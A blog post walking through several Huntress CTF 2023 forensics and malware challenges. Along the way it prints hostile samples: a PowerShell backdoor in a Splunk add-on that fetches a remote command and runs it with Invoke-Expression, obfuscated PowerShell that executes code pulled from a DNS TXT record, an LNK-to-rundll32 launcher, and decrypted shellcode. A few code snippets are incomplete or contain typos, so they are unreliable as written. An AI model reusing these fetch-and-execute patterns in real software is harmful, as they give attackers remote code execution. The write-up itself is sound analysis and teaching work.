11 March 2024

Huntress CTF 2023 - Unique Approaches to Fun Challenges

As someone who has participated in numerous Capture The Flag (CTF) competitions, I was excited when Huntress Lab announced their CTF late last year. Anytime a new organization ventures into hosting CTFs, it brings fresh perspectives, twists, and innovative approaches to data manipulation to obtain flags.

I found their daily-released challenges to be particularly engaging. To rank high, participants had to swiftly complete all challenges. While other CTFs focus on different aspects, like Flare-On which emphasizes malware reverse engineering, Huntress Lab's CTF encompassed a wide range of Digital Forensics and Incident Response (DFIR) tasks. This included dealing with malware, forensic analysis, log examination, OSINT (Open Source Intelligence), recent emerging threats, and manipulation of live systems.

Many challenges involved datasets that are seldom addressed in other competitions. There were fewer challenges centered around random cryptography, key generation, or website attacks, and more focused on parsing large, unknown data structures and analyzing the results.

The Flare-On was occurring during this same time period. However, for reasons I won't go into here, I spent most of 2023 with significant cognitive impairment from a traumatic brain injury. While Flare-On is my go-to event, by the time I got to its third challenge I realized that I would not be able to focus enough to complete it. The Huntress Labs CTF of daily, short challenges was more of my speed at the time. Challenges could be completed in under an hour and scratched many of the mental itches. 

This isn't a comprehensive analysis of all the 30+ challenges, but I wanted to highlight some interesting and unique solutions. My background as a forensic investigator, malware analyst, reverse engineer, incident responder, threat analyst, and mentor to others provided me with various perspectives while tackling these challenges.


BlackCat came late in the competition and was actually right up my alley. The challenge provided you with a ransomware decryption tool with a set of encrypted files.

-rw-r--r--  1 rurik  staff 2814464 Sep 26 08:10 DecryptMyFiles.exe
-rw-r--r--  1 rurik  staff 1190420 Sep 26 08:10 NOTE.png
drwx------  7 rurik  staff     224 Sep 26 08:10 victim-files

-rw-r--r--  1 rurik  staff  109857 Sep 26 08:10 Bliss_Windows_XP.png.encry
-rw-r--r--  1 rurik  staff    8457 Sep 26 08:10 Huntress-Labs-Logo-and-Text-Black.png.encry
-rw-r--r--  1 rurik  staff      74 Sep 26 08:10 flag.txt.encry
-rw-r--r--  1 rurik  staff   13959 Sep 26 08:10 my-favorite-rock.jpg.encry
-rw-r--r--  1 rurik  staff  191725 Sep 26 08:10 the-entire-text-of-hamlet.txt.encry

Simple execution showed that the file required a pass key to perform decryption. The challenge was to determine the pass key.

From there, it's a matter of finding the decryption routine. There are various ways of doing this. To make it easier, I've written my own IDAPython script for IDA Pro that simplifies the process. This is particularly effective in unstripped binaries that contain descriptive function names. This code is found below:

import idautils
import ida_funcs
import idc

def op_to_hex(op):
        op_value = int(op, 16) if op.isdigit() else int(op[:-1], 16)
        return '0x{0:02X}'.format(op_value)
    except ValueError:
        return op

def find_xor_shift_operations():
    for function_ea in idautils.Functions():
        func_name = ida_funcs.get_func_name(function_ea)
        func_name = func_name.ljust(50)
        for head in idautils.Heads(function_ea, idc.get_func_attr(function_ea, idc.FUNCATTR_END)):
            mnemonic = idc.print_insn_mnem(head)
            if mnemonic in ["xor", "shl", "shr"]:
                op1 = idc.print_operand(head, 0)
                op2 = idc.print_operand(head, 1)
                if op1 != op2:
                    op2 = op_to_hex(op2)
                    instructions = '{}  {}, {}'.format(mnemonic, op1, op2)
                    line = '%s\t%s' % (func_name, instructions)

In short, it iterates through every operation and looks for XOR and shift operations. The operands are compared to each other. In any instance where the first operand is operated on by a different address, the results are shown. For static values where IDA would typically show as 32h, it would convert to 0x32. Running this script produces a few hundred results, but a very quick review shows the obviously relevant lines:

Copy the code, double click main.main to go to that routine. Alt-T for text search for  "xor  r8d, r10d will find the instruction block:

The use of a simple movzx before an XOR suggests that this block is called iteratively over a string to XOR each byte. Nothing more. We could trace r8 register back to show that it originates from operations over the provided pass key with its own:

movzx   r8d, byte ptr [rdx+rbx]

So, a very simple multi-byte XOR between two strings, where the expected passkey is 8 bytes (other code not shown here).

As we see one file is an encrypted PNG file, we can do simple crib-dragging. That is, XOR the encrypted data by the expected known-good data, which should result in the key. By copying the known-good file header we can use Python malduck to make this simple:

>>> import malduck
>>> key = open('NOTE.png', 'rb').read()
>>> data = open('victim-files/Bliss_Windows_XP.png.encry', 'rb').read()
>>> dec = malduck.xor(key, data)
>>> dec[0:10]


By comparing the known-good header from NOTE.png to the encrypted value produces the key "cosmoboi". 

We can apply this key back to the encrypted flag to get the key:

>>> data2 = open('victim-files/flag.txt.encry', 'rb').read()
>>> malduck.xor(b'cosmoboi', data2)

b"Keeping my flag here so it's safe!\n\nflag{092744b55420033c5eb9d609eac5e823}"

Texas Chainsaw Massacre: Tokyo Drift

With a simple challenge out of the way, let's dig into the fun ones.

This challenge contained a single "Application Logs.evtx" Windows event file:

17:46:14-rurik@~/CTF/Huntress_2023/done/blog$ file Application\ Logs.evtx

Application Logs.evtx: MS Windows Vista Event Log, 3 chunks (no. 2 in use), next record no. 268

This data can be easily parsed with evtx_dump from Willi Ballenthin's python-evtx library. There is a LOT of data here to sift through. A total of 323 events that can be dumped to raw XML (ugh). For example:

<?xml version="1.1" encoding="utf-8" standalone="yes" ?>

<Event xmlns="http://schemas.microsoft.com/win/2004/08/events/event"><System><Provider Name="Microsoft-Windows-CAPI2" Guid="{5bbca4a8-b209-48dc-a8c7-b23d3e5216fb}" EventSourceName="Microsoft-Windows-CAPI2"></Provider>
<EventID Qualifiers="0">4097</EventID>
<TimeCreated SystemTime="2023-10-10 15:54:18.664185"></TimeCreated>
<Correlation ActivityID="" RelatedActivityID=""></Correlation>
<Execution ProcessID="1132" ThreadID="1884"></Execution>
<Security UserID=""></Security>
<EventData><Data>&lt;string&gt;CN=GlobalSign Root CA, OU=Root CA, O=GlobalSign nv-sa, C=BE&lt;/string&gt;

There was no obvious way I found to go straight at it, so I started poking for obvious signs. One came out when I search for terms related to the challenge name:

17:54:07-rurik@~/CTF/Huntress_2023/done/blog$ python /Users/rurik/Development/python-evtx/scripts/evtx_dump.py  ./Application\ Logs.evtx | grep -i chain

<EventData><Data>&lt;string&gt;Windows Installer installed the product.
Product Name: The Texas Chain Saw Massacre (1974).
Product Version: 8.0.382.5.
Product Language: English. Director: Tobe Hooper.
Installation success or error status: 0.&lt;/string&gt;

Looking around that event shows a nice blog of apparently Base64 data:

17:56:06-rurik@~/CTF/Huntress_2023/done/blog$ python /Users/rurik//Development/python-evtx/scripts/evtx_dump.py  ./Application\ Logs.evtx | grep -C5 -i chain

<Execution ProcessID="9488" ThreadID="0"></Execution>
<Security UserID=""></Security>
<EventData><Data>&lt;string&gt;Windows Installer installed the product. Product Name: The Texas Chain Saw Massacre (1974). Product Version: 8.0.382.5. Product Language: English. Director: Tobe Hooper. Installation success or error status: 0.&lt;/string&gt;

Decoding this Base64 created a blob of obvious PowerShell script:

(('. ( ZT6ENv:CoMSpEc[4,24,'+'25]-joinhx6hx6)( a6T ZT6( Set-variaBle hx6OfShx6 hx6hx6)a6T+ ( [StriNg'+'] [rEGeX]::mAtcheS( a6T ))421]RAhC[,hx6fKIhx6eCALPeR-  93]RAhC[,)89]RAhC[+84]RAhC[+98]RAhC[( EcalPeRC-  63]RAhC[,hx6kwlhx6EcalPeRC-  )hx6)
bhx6+hx60Yb0Yhx6+hx6niOj-]52,hx6+hx642,hx6+'+'hx64[cehx6+hx6phx6+hx6SMoC:Vnhx6+hx6ekwl ( hx6+hx6. fKI ) (DnEOTDAhx6+hx6ehx6+hx6r.)} ) hx6+'+'hx6iicsA:hx6+hx6:]GnidOcNhx6+hx6e.hx6+hx6Thx6+hx6xethx6+hx6.hx6+hx6METsys[hx6+hx6 ,_kwhx6+h'+
'x6l (REDhx6+hx6AeRmaertS.o'+'Ihx6+hx6 thx6+hx6Chx6'+'+hx6ejbO-Wh'+'x6+hx6En { HCaERoFhx6+hx6fKI)
sSERpM'+'oCehx6+hx'+'6dhx6+hx6::hx6+hx6]'+'edOMhx6+hx6'+'nOisSErPMochx6+hx6.NoISSerhx6+hx6pMOc.oi[, ) b'+'0Yhx6+hx6==wDyD4p+S'+'s/l/hx6+hx6i+5GtatJKyfNjOhx6+'+'hx63hx6+hx63hx6+hx64Vhx6+hx6vj6wRyRXe1xy1pB0hx6+hx6AXVLMgOwYhx6+
'x6+hx6aBmoRF::]tRevnOhx6+hx6C[]MAertsYrOmeM.Oi.mETSYs[ (MaErhx6+hx6thx6+hx6sEtALfeD.NOhx6+hx6IsS'+'erPmo'+'c.OI.mehx6+hx6TsYShx6'+'+hx6 hx6+
hx6 tCejbO-WEhx6+hx6n ( hx6(((no'+'IsseRpX'+'e-ekovni a6T,hx6.hx6,hx6RightToLEFthx6 ) RYcforEach{ZT6_ })+a6T ZT6( sV hx6oFshx6 hx6 hx6)a6T ) ')  -cREpLACE ([cHAr]90+[cHAr]84+[cHAr]54),[cHAr]36 
-rEPlAce'a6T',[cHAr]34  -rEPlAce  'RYc',[cHAr]124 -cREpLACE  ([cHAr]104+[cHAr]120+[cHAr]54),[cHAr]39) |. ( $vERboSEpreFeRenCe.tOStrING()[1,3]+'x'-JOin'')

There's a lot of junk in there, which is standard for obfuscated PowerShell. There are many automated ways of doing this. But, I'm a sucker for manual deobfuscation...

So, first we look for string replacement routines. These are seen at the bottom:

-cREpLACE ([cHAr]90+[cHAr]84+[cHAr]54),[cHAr]36 -rEPlAce'a6T',[cHAr]34  
-rEPlAce  'RYc',[cHAr]124 -cREpLACE  ([cHAr]104+[cHAr]120+[cHAr]54),[cHAr]39)

As usual with obfuscated PowerShell, remove all the literal ('+') symbols, which exist only to break up continuous strings, and then perform the above replacements. The resulting output has another layer of ('+') characters to remove. Once completed, it produces:

(('. ( $ENv:CoMSpEc[4,24,25]-join'')( " $( Set-variaBle 'OfS' '')"+ ( [StriNg] [rEGeX]::mAtcheS( " ))421]RAhC
[,'fKI'eCALPeR-  93]RAhC[,)89]RAhC[+84]RAhC[+98]RAhC[( EcalPeRC-  63]RAhC[,'kwl'EcalPeRC-  )')b0Yb0YniOj-]
52,42,4[cepSMoC:Vnekwl ( . fKI ) (DnEOTDAer.)} ) iicsA::]GnidOcNe.Txet.METsys[ ,_kwl (REDAeRmaertS.oI tCejbO-WEn 
{ HCaERoFfKI) sSERpMoCed::]edOMnOisSErPMoc.NoISSerpMOc.oi[, ) b0Y==wDyD4p+Ss/l/i+5GtatJKyfNjO334Vvj6wRyRXe1xy1pB0
(gniRTS46esaBmoRF::]tRevnOC[]MAertsYrOmeM.Oi.mETSYs[ (MaErtsEtALfeD.NOIsSerPmoc.OI.meTsYS  tCejbO-WEn ( 
'(((noIsseRpXe-ekovni ",'.','RightToLEFt' ) |forEach{$_ })+" $( sV 'oFs' ' ')" ) ')  -cREpLACE ([cHAr]90+[cHAr]84+[cHAr]54),
[cHAr]36 -rEPlAce'"',[cHAr]34  -rEPlAce  '|',[cHAr]124 -cREpLACE  ([cHAr]104+[cHAr]120+[cHAr]54),[cHAr]39) |. 
( $vERboSEpreFeRenCe.tOStrING()[1,3]+'x'-JOin'')

From here there is a hard to see 'RightToLEFt' near the end. This uses the PowerShell reverse text function, used for some language sets. In effect, it basically reads portions of the script in reverse. Reversing that code prior, as you can easily see 'invoke-e' backwards, displays:

invoke-eXpRessIon(((\' ( nEW-ObjeCt  SYsTem.IO.comPreSsION.DefLAtEstrEaM( [sYSTEm.iO.MemOrYstreAM]
433OjNfyKJtatG5+i/l/sS+p4DyDw==Y0b ) ,[io.cOMpreSSIoN.coMPrESsiOnMOde]::deCoMpRESs )IKfFoREaCH 
{ nEW-ObjeCt Io.StreamReADER( lwk_, [sysTEM.texT.eNcOdinG]::Ascii ) }).reADTOEnD( ) IKf . ( 
lwkenV:CoMSpec[4,24,25]-jOinY0bY0b)\')  -CRePlacE\'lwk\',[ChAR]36  -CRePlacE ([ChAR]89+[ChAR]48+
[ChAR]98),[ChAR]39  -RePLACe\'IKf\',[ChAR]124))

More string replacement!

 -creplace "lwk","$"
 -creplace "Y0b","'"
 -replace "IKf","|"

That makes it even more understandable as we get closer to the core code.

invoke-eXpRessIon(((\' ( nEW-ObjeCt  SYsTem.IO.comPreSsION.DefLAtEstrEaM( 
4DyDw==' ) ,[io.cOMpreSSIoN.coMPrESsiOnMOde]::deCoMpRESs )|FoREaCH 
{ nEW-ObjeCt Io.StreamReADER( $_, [sysTEM.texT.eNcOdinG]::Ascii ) }).reADTOEnD( )
 | . ( $enV:CoMSpec[4,24,25]-jOin'')\')

From here, we can basically read and understand the leftover code. A call to FromBase64String on a long Base64 string, which is then eventually fed into system.io.compression.deflatestream. This can easily be done in Python:

>>> data =  'NZDdTsJAEEZfZUJIStUtJP4EMVxULMRENJEaEgiSdR1htbtbd4dKqX13W8DM

>>> dec = base64.b64decode(data)

>>> dec

\xf4a\x84\xc4\xa6J>\xbd}\xa2 \x18OB\x91\xcae\xbcF\xabx23\x1acT)ZN\x1b\x8b

>>> zlib.decompress(dec)

Traceback (most recent call last):

  File "<stdin>", line 1, in <module>

zlib.error: Error -3 while decompressing data: incorrect header check

Oh snap! Wrong data type? Nope, this is common with zlib data if there is no header. You eventually learn that you just need to change the wbits to a number from -8 to -15, as noted in its documentation. (https://docs.python.org/2/library/zlib.html#zlib.decompress)

>>> zlib.decompress(dec. -8)

b'try {$TGM8A = Get-WmiObject MSAcpi_ThermalZoneTemperature -Namespace "root/wmi"
 -ErrorAction \'silentlycontinue\' ; if ($error.Count -eq 0) { 
 $5GMLW = (Resolve-DnsName eventlog.zip -Type txt | ForEach-Object { $_.Strings }
 ); if ($5GMLW -match \'^[-A-Za-z0-9+/]*={0,3}$\') { 
  | Invoke-Expression } } } catch { }'

Wait, what? This stuck me for longer than it should have. It's calling Resolve-DnsName, but that expects a domain name not a filename. Since I'm not on Windows I did not even try to run it. Eventually I broke down and tried it in a Windows VM and realized ... eventlog.zip was a literal domain name not a file name. Going back to my terminal and pulling the TXT record showed more Base64:

$ host -t txt eventlog.zip

eventlog.zip descriptive text "U3RhcnQtUHJvY2VzcyAiaHR0cHM6Ly95b3V0dS5iZS81NjF

This further Base64 decodes to:

'Start-Process "https://youtu.be/561nnd9Ebss?t=16"\n

This is the flag and a video of a pleasant chain saw sound.

Backdoored Splunk

This was one of the more unique challenges. Provided was an archive for a Splunk TA (Technology Add-on), a.k.a plugin. I don't know much about Splunk, except that most of its customers can no longer afford it, so this was an interesting challenge.

Honestly, I had no clue what I was looking at. Calvin and Hobbes are always here to look on in equal surprise.

In quick review I noticed most of the files were last modified in May 2023, as their mtimes were retained in their archive.

18:09:29-rurik@~/CTF/Huntress_2023/done/Splunk_TA_windows$ stat -x README.txt
  File: "README.txt"
  Size: 170          FileType: Regular File
  Mode: (0644/-rw-r--r--)         Uid: (  501/   rurik)  Gid: (   20/   staff)
Device: 1,4   Inode: 32168160    Links: 1
Access: Sat Mar  9 18:06:12 2024
Modify: Wed May 10 09:27:38 2023
Change: Sat Mar  9 18:06:12 2024
 Birth: Wed May 10 09:27:38 2023

There are two ways to pull on that thread. The more complex is to iterate all of the mtimes to find outliers. This helped reduce the large set down to just 11 files. Furthermore, the 25 Sep time was only for a single file. That is our file of interest.

rurik@~/Splunk_TA_windows$ ls -lR | awk '{print $6, $7, $8}' | sort | uniq

May 10 2023
Sep 19 13:10
Sep 25 12:18
rurik@~/Splunk_TA_windows$ ls -lR | grep "Sep "
drwx------   3 rurik  staff     96 Sep 19 13:10 LICENSES
drwx------   3 rurik  staff     96 Sep 19 13:10 README
drwx------   3 rurik  staff     96 Sep 19 13:10 appserver
drwx------  12 rurik  staff    384 Sep 19 13:10 bin
drwx------  11 rurik  staff    352 Sep 19 13:10 default
drwx------  33 rurik  staff   1056 Sep 19 13:10 lookups
drwx------   3 rurik  staff     96 Sep 19 13:10 metadata
drwx------   8 rurik  staff    256 Sep 19 13:10 static
drwx------   4 rurik  staff    128 Sep 19 13:10 static
drwx------  11 rurik  staff    352 Sep 19 13:10 powershell
-rw-r--r--   1 rurik  staff   6044 Sep 25 12:18 nt6-health.ps1

The method I actually used after determining the time difference was quick and easy, using the find command. Specify the -mtime option to limit output to only files modified within the last X number of days. An arbitrary number can be used and tuned in. For example, for only files modified within the last 200 days, and then more details on those files:

18:25:53-rurik@~/CTF/Huntress_2023/Splunk_TA_windows$ find ./ -mtime -200
18:27:07-rurik@~/CTF/Huntress_2023/Splunk_TA_windows$ stat `find ./ -mtime -200`
16777220 32168132 drwx------ 15 rurik staff 0 480  "Mar  9 18:06:12 2024" "Sep 19 13:10:10 2023" "Mar  9 18:06:21 2024" "Sep 19 13:10:10 2023" 4096 0 0 ./
16777220 32168186 drwx------ 33 rurik staff 0 1056 "Mar  9 18:06:12 2024" "Sep 19 13:10:10 2023" "Mar  9 18:06:12 2024" "Sep 19 13:10:10 2023" 4096 0 0 .//lookups
16777220 32168165 drwx------ 12 rurik staff 0 384  "Mar  9 18:06:12 2024" "Sep 19 13:10:10 2023" "Mar  9 18:06:12 2024" "Sep 19 13:10:10 2023" 4096 0 0 .//bin
16777220 32168168 drwx------ 11 rurik staff 0 352  "Mar  9 18:06:12 2024" "Sep 19 13:10:10 2023" "Mar  9 18:06:12 2024" "Sep 19 13:10:10 2023" 4096 0 0 .//bin/powershell
16777220 32168171 -rw-r--r-- 1  rurik staff 0 6044 "Mar  9 18:06:12 2024" "Sep 25 12:18:25 2023" "Mar  9 18:06:12 2024" "Sep 25 12:18:25 2023" 4096 16 0 .//bin/powershell/nt6-health.ps1
16777220 32168136 drwx------ 3  rurik staff 0 96   "Mar  9 18:06:12 2024" "Sep 19 13:10:10 2023" "Mar  9 18:06:12 2024" "Sep 19 13:10:10 2023" 4096 0 0 .//LICENSES
16777220 32168149 drwx------ 11 rurik staff 0 352  "Mar  9 18:06:12 2024" "Sep 19 13:10:10 2023" "Mar  9 18:06:12 2024" "Sep 19 13:10:10 2023" 4096 0 0 .//default
16777220 32168133 drwx------ 3  rurik staff 0 96   "Mar  9 18:06:12 2024" "Sep 19 13:10:10 2023" "Mar  9 18:06:12 2024" "Sep 19 13:10:10 2023" 4096 0 0 .//README
16777220 32168138 drwx------ 8  rurik staff 0 256  "Mar  9 18:06:12 2024" "Sep 19 13:10:10 2023" "Mar  9 18:06:12 2024" "Sep 19 13:10:10 2023" 4096 0 0 .//static
16777220 32168145 drwx------ 3  rurik staff 0 96.  "Mar  9 18:06:12 2024" "Sep 19 13:10:10 2023" "Mar  9 18:06:12 2024" "Sep 19 13:10:10 2023" 4096 0 0 .//appserver
16777220 32168146 drwx------ 4  rurik staff 0 128  "Mar  9 18:06:12 2024" "Sep 19 13:10:10 2023" "Mar  9 18:06:12 2024" "Sep 19 13:10:10 2023" 4096 0 0 .//appserver/static
16777220 32168163 drwx------ 3  rurik staff 0 96   "Mar  9 18:06:12 2024" "Sep 19 13:10:10 2023" "Mar  9 18:06:12 2024" "Sep 19 13:10:10 2023" 4096 0 0 .//metadata

This also reduces the file collection down to a smaller set and, eventually, to the only non-directory: nt6-health.ps1.

Contained within this file was almost 200 lines of PowerShell, none of which I understood. But, you don't need to. You can easily just glance and find things that jump out as unusual. Doing so I found these lines:

# Windows Version and Build #
$WindowsInfo = Get-Item "HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion"
# $PORT below is dynamic to the running service of the `Start` button
$OS = @($html = (Invoke-WebRequest http://chal.ctf.games:$PORT -Headers 
    @{Authorization=("Basic YmFja2Rvb3I6dXNlX3RoaXNfdG9fYXV0aGVudGljYXR
    lX3dpdGhfdGhlX2RlcGxveWVkX2h0dHBfc2VydmVyCg==")} -UseBasicParsing).Content
if ($html -match '<!--(.*?)-->') {
    $value = $matches[1]
    $command = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($value))
    Invoke-Expression $command
$OSSP = $WindowsInfo.GetValue("CSDVersion")
$WinVer = $WindowsInfo.GetValue("CurrentVersion")
$WinBuild = $WindowsInfo.GetValue("CurrentBuildNumber")
$OSVER = "$WinVer ($WinBuild)"

A call to Invoke-WebRequest to a domain used by the challenge with a specific auth login. The user name and password are expected within that Base64 blob:


OK, so just make a connection?

5:14:21-rurik@~/CTF/Huntress_2023/Splunk_TA_windows$ curl  -H "Authorization: Basic YmFja2Rvb3I6dXNlX3RoaXNfdG9fYXV0aGVudGljYXRlX3dpdGhfdGhlX2RlcGxveWVkX2h0dHBfc2VydmVyCg==" http://chal.ctf.games:31106

<!-- ZWNobyBmbGFnezYwYmIzYmZhZjcwM2UwZmEzNjczMGFiNzBlMTE1YmQ3fQ== �

We can refer back to the earlier PowerShell that shows it performing a RegEx that mostly matches the result (any error here could be a result of my poor notes). Another Base64 decoding shows the flag:

>>> base64.b64decode('ZWNobyBmbGFnezYwYmIzYmZhZjcwM2UwZmEzNjczMGFiNzBlMTE1YmQ3fQ==')

b'echo flag{60bb3bfaf703e0fa36730ab70e115bd7}'


One of my favorite challenges. A batch script that is very simple in design, but confusing to review. This is a challenge of pure text substitution, one of my favorite hobbies.

You'll notice over 11,000 lines of script that appear to grow in lengths and complexity line-by-line. 

The idea seems simple and easy to start. If "xeegh" is "/", then find/replace. In DOS/Windows environment variables are referenced by percent signs, so a replacement of "%xeegh%" to "/". This works for the first few, but that then exposes more complex lines like these:

set /a bpquuu=4941956 %% 4941859
cmd /c exit %bpquuu%
set grtoy=%=exitcodeAscii%

Here you see a complex operation to acquire a single byte. The set command is used with the /a argument to evaluate a math equation. Here, "4941956 %% 4941859" is a modulo operator that results in the number 97, or ASCII char "a". The script then runs "cmd /c exit %var%". This simply runs a new instance of cmd.exe solely to run the command "exit 97". Once a command terminal is closed, or technically any program within it, Windows stores it's exit code. This is normal 0 for normal exit, but the previous command line forces it to return back the ASCII equivalent of the number passed to it.

That is three lines of code to create:

set grtoy=a

Later on, the code obfuscation just grows out of control with eventual hundreds of substitutions required. This is a job for automation. We can parse the script line-by-line and interpret each result. As a single character assignment requires multiple lines, we can set a simple state to treat them as sets. First, parse the modulo equation out by searching for the presence of "set /a", parsing the numbers, and running an eval() on the equation. Something you would absolutely never do in real life, of course. Yet, everyone does. Carry forward that byte until another set is found. If this line contains "exitcodeAscii", and there is a byte carried forward, then parse the variable name and assign the byte. And remember to reset the state of the carried byte so that the code knows to treat the next line as a new block.

replacements = {}

def replace_strs(code):
    new_code = code
    for key, value in replacements.items():
        new_code = new_code.replace(key, value)
    return new_code

def parse(code):
    global replacements

    carry_byte_val = ''

    for orig_line in code:
        line = orig_line.strip('\n')
        line = replace_strs(line)

        if line[:7] == 'set /a ':
            equation = line.split('=')[1]
            equation = equation.replace(' %% ', ' % ')
            carry_byte_val = chr(eval(equation))
            line = line.replace('/a ', '')

        elif line[:3] == 'set':
            var = line.split('set')[1].split('=')[0].strip()
            if 'exitcodeAscii' in line and carry_byte_val:
                value = carry_byte_val
                carry_byte_val = ''
                value = line.split('=')[1][0]
            replacements['%{}%'.format(var)] = value


data = open('batchfuscation', 'r').readlines()


When run, more lines of obfuscation appear. 

rem set xjnhkbhki=piyyreuxgwvafwtz
:: set kyqjrobznfcjrlogdhalniqwjvxdtklyjzajcdkulwrsqrgdhcmbbpbz=dflnnmopuyiavetpibufiidl
rem set scahzpgynzthblbrgbfkzacckwkkjevkqsjkocewwpoofuxuoylvpl=dgzmfpwso

However, these are all preceded with a "rem" (Batch shorthand for a remark, or comment) or a "::", which is used by Batch for labels, allowing for goto functionality. None of these matter as they don't actually do anything. However, upon filtering those from the output, there was nothing that popped out as a flag. Going back to the new script, over 1,000 lines long, there were no duplicate lines. Maybe there is another pattern in play, so I sort the output and page through it. Immediately, the key area jumped out:

:: set hqtjrafvwrwtfdfpzcfrxld=dqtitaarfravijxdkkdozhlferpfhklzbqo
:: set hrklgmqdpnofocaepmobfxglgoypff=zgfwuaniobviqwpzjbohziguekxjujcvunaeejsmdrkivhipmvohh
:: set flag_character12=e
:: set flag_character13=3
:: set flag_character14=d
:: set flag_character15=0
:: set flag_character16=b
:: set flag_character17=5
:: set flag_character18=b
:: set flag_character19=f
:: set flag_character1=f

Excellent. The flag being built one byte at a time, though out of order. I can now add that into my script and build the flag. Here is where many people get caught in Python. Strings are immutable. You cannot make a string and change individual bytes in it. Instead, you make a character array like "value = []*50" and convert to a string later. 

replacements = {}

def replace_strs(code):
    new_code = code
    for key, value in replacements.items():
        new_code = new_code.replace(key, value)
    return new_code

def parse(code):
    global replacements
    flag = ['']*50

    carry_byte_val = ''

    for orig_line in code:
        line = orig_line.strip('\n')
        line = replace_strs(line)

        if line[:7] == 'set /a ':
            equation = line.split('=')[1]
            equation = equation.replace(' %% ', ' % ')
            carry_byte_val = chr(eval(equation))
            line = line.replace('/a ', '')

        elif line[:3] == 'set':
            var = line.split('set')[1].split('=')[0].strip()
            if 'exitcodeAscii' in line and carry_byte_val:
                value = carry_byte_val
                carry_byte_val = ''
                value = line.split('=')[1][0]
            replacements['%{}%'.format(var)] = value

        elif 'flag_character' in line:
            pos = int(line.split('=')[0].split('flag_character')[1])
            flag_byte = line.split('=')[1].strip()
            flag[pos] = flag_byte
    return flag

data = open('batchfuscation', 'r').readlines()

flag = parse(data)

Parsing out the offset, and the value, the flag is finally formed

19:02:59-rurik@~/CTF/Huntress_2023$ python batchfuscation.py

Crab Rave

As someone who was an avid Beat Saber player, and hopes to be again soon, Crab Rave is near to my heart. The organizers split this into an Easy and Hard challenge. They are literally he same challenge but Easy did not have its symbols stripped. RE on training wheels. So, I focused on the harder one as it is more realistic. 

This challenge came with two files, a DLL and a Windows shortcut semi-disguised as a csv:

company_financial_report_SAFE_NO_VIRUSES.csv.lnk: MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has command line arguments, Icon number=101, Archive, ctime=Fri Jan 15 05:55:23 2021, mtime=Tue Oct 10 15:22:28 2023, atime=Fri Jan 15 05:55:23 2021, length=289792, window=hide
ntcheckos.dll:                                    PE32+ executable (DLL) (console) x86-64 (stripped to external PDB), for MS Windows

The shortcut can easily be pased by using Silas Cutler's LnkParse script:

20:40:34-rurik@~/CTF/Huntress_2023/done/blog/crab_rave_harder$ lnkparse ./company_financial_report_SAFE_NO_VIRUSES.csv.lnk
Windows Shortcut Information:
   Link CLSID: 00021401-0000-0000-C000-000000000046
   Link Flags: HasTargetIDList | HasLinkInfo | HasRelativePath | HasArguments | HasIconLocation | IsUnicode | HasExpIcon - (16619)
   File Flags: FILE_ATTRIBUTE_ARCHIVE - (32)

   Creation Timestamp: 2021-01-15 00:55:23.286643+00:00
   Modified Timestamp: 2021-01-15 00:55:23.291147+00:00
   Accessed Timestamp: 2023-10-10 10:22:28.019777+00:00

 <removed for brevity>

      Relative path: ..\..\..\..\..\Windows\System32\cmd.exe
      Command line arguments: /c ping -n 1 > nul && ping -n 1 > nul && ping -n 1 > nul && ping -n 1 > nul && ping -n 1 > nul && C:\Windows\System32\rundll32.exe ntcheckos.dll,DLLMain
      Icon location: C:\Windows\System32\imageres.dll

<removed for brevity>

The most important items there are the call to cmd.exe and its command line, forming:

cmd.exe /c ping -n 1 > nul && ping -n 1 > nul && ping -n 1 > nul && ping -n 1 > nul && ping -n 1 > nul && C:\Windows\System32\rundll32.exe ntcheckos.dll,DLLMain

Uniquely there are multiple one second sleeps (ping -n 1, but it does eventually run the supplied ntcheckos.dll by calling its default DLLMain export routine. This at least helps us what to look at in the binary.

Opening the binary we see a standard 64-bit DLL. Before digging into the binary, we look at strings. There are quite a few that suggest this is a Rust binary.

The first thing that stands out is two calls to the same subroutine. Each sends in a unique set of binary data, a length, then the same long string value with its length:

A quick review within the subroutine finds one small XOR routine that, when cleaned up below, shows that it is just a very simple XOR between the two values.

Knowing that, and having the addresses, you can use whatever method you want to XOR them. I just used a quick IDA Pro script:

The Github Gist URL looks interesting. Visiting it shows just a big block of Base64 data that decrypts to binary information, as below:

>>> gist_data
>>> base64.b64decode(gist_data)
2\xaf\x95x\x1c0G\\!\x15dF /\xaa\xbaQ\xba\x1c6&}\x9bzU\xae"\x96<\xa5\x8f\x16
\x0e\x0c\xee\xbe\xaaY\xce X\xa3\x91.\x99\xda\xc8I\x8b\xd6\x90\xc9\xb9OfC\xe
c$ \xc7C\xbd\x9c\xe9\xfci-\x88S\xb4kx\xea)\x1fO\x04\x18\xe3z\x0c\x1c\xe4#

I tried disassembling, and XOR'ing it, but nothing interesting came out of it. Moving on ...

In that same routine we see two unusual strings being referenced. Unusual as in seemingly random alphanumeric strings of each 32 and 16 bytes.

The 32 byte string, rAcbUUWWNFlqMbruiYOIsAyVQHS78orv, is fed into a subroutine that appears to just initialize some data structures with it. That structure us sent to a second routine along with the 16 byte string, MoJ8C6O4D3asAApB. This second routine is the more interesting one. 

Lots of and lots of big math. So, either crypto or hashing. Here, I turn to yara4idb, the latest iteration of SignSrch for IDA, and see what signatures it finds:

Rijndael and AES are essentially the same for our purposes, but there is one explicit call out to AES. Following it shows a block of hex that is, indeed, one of the AES S-boxes, verified from a quick web search.

Now the function makes sense. That binary blob from gist, a 32-byte string, and a 16-byte string would fit together. Knowing just the basics of encryption suggests that a 32-byte string would be the key while the 16-byte string would be the IV. We can quickly test this:

>>> enc = base64.b64decode(gist_data)
>>> key = b'rAcbUUWWNFlqMbruiYOIsAyVQHS78orv'
>>> iv = b'MoJ8C6O4D3asAApB'
>>> dec = malduck.aes.cbc.decrypt(key, iv, enc)
>>> dec
\xd2eH\x8bR`>H\x8bR\x18>H\x8bR >H\x8brP>H\x0f\xb7JJM1\xc9H1
\xc0\xac<a|\x02, A\xc1\xc9\rA\x01\xc1\xe2\xedRAQ>H\x8bR >\x8b
\x8bH\x18>D\x8b@ I\x01\xd0\xe3\\H\xff\xc9>A\x8b4\x88H\x01\xd6
\x8b\x04\x88H\x01\xd0AXAX^YZAXAYAZH\x83\xec AR\xff\xe0XAYZ>H

There we shellcode and somewhat easily see "CONGRATS" and the flag.


